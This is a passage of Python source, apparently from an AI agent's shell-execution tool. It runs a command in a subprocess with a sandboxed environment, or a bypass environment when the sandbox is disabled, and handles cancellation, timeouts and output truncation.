workdir = _get_workdir(session_id)
|
|
safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir)
|
|
popen_kwargs = dict(
|
|
stdout = subprocess.PIPE,
|
|
stderr = subprocess.STDOUT,
|
|
text = True,
|
|
# Match _python_exec: decode utf-8 with "replace" so invalid output
|
|
# bytes never raise UnicodeDecodeError (which the streaming reader
|
|
# thread would swallow), keeping both paths byte-identical.
|
|
encoding = "utf-8",
|
|
errors = "replace",
|
|
cwd = workdir,
|
|
env = safe_env,
|
|
)
|
|
if sys.platform != "win32":
|
|
popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec
|
|
else:
|
|
popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW
|
|
|
|
proc = subprocess.Popen(_get_shell_cmd(command), **popen_kwargs)
|
|
|
|
# Capture the group before any watcher can poll/reap the leader (see
|
|
# _python_exec); None on Windows.
|
|
pgid = _capture_process_group(proc)
|
|
|
|
if cancel_event is not None:
|
|
watcher = threading.Thread(
|
|
target = _cancel_watcher,
|
|
args = (proc, cancel_event, 0.2, pgid),
|
|
daemon = True,
|
|
)
|
|
watcher.start()
|
|
|
|
# Always drain via _drain_process_output (see _python_exec): kills the
|
|
# captured group on cancellation and returns bytes identical to
|
|
# communicate(), keeping streaming vs non-streaming byte-identical.
|
|
output, timed_out = _drain_process_output(
|
|
proc, timeout, output_callback, cancel_event, pgid = pgid
|
|
)
|
|
if timed_out:
|
|
return _truncate(f"Execution timed out after {timeout} seconds.")
|
|
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Execution cancelled."
|
|
|
|
result = output or ""
|
|
if proc.returncode != 0:
|
|
result = f"Exit code {proc.returncode}:\n{result}"
|
|
# Same missing-path healing as _python_exec.
|
|
hint = _missing_path_hint(result, workdir)
|
|
result = _truncate(result) if result.strip() else "(no output)"
|
|
return result + hint
|
|
|
|
except Exception as e:
|
|
return f"Execution error: {e}"
|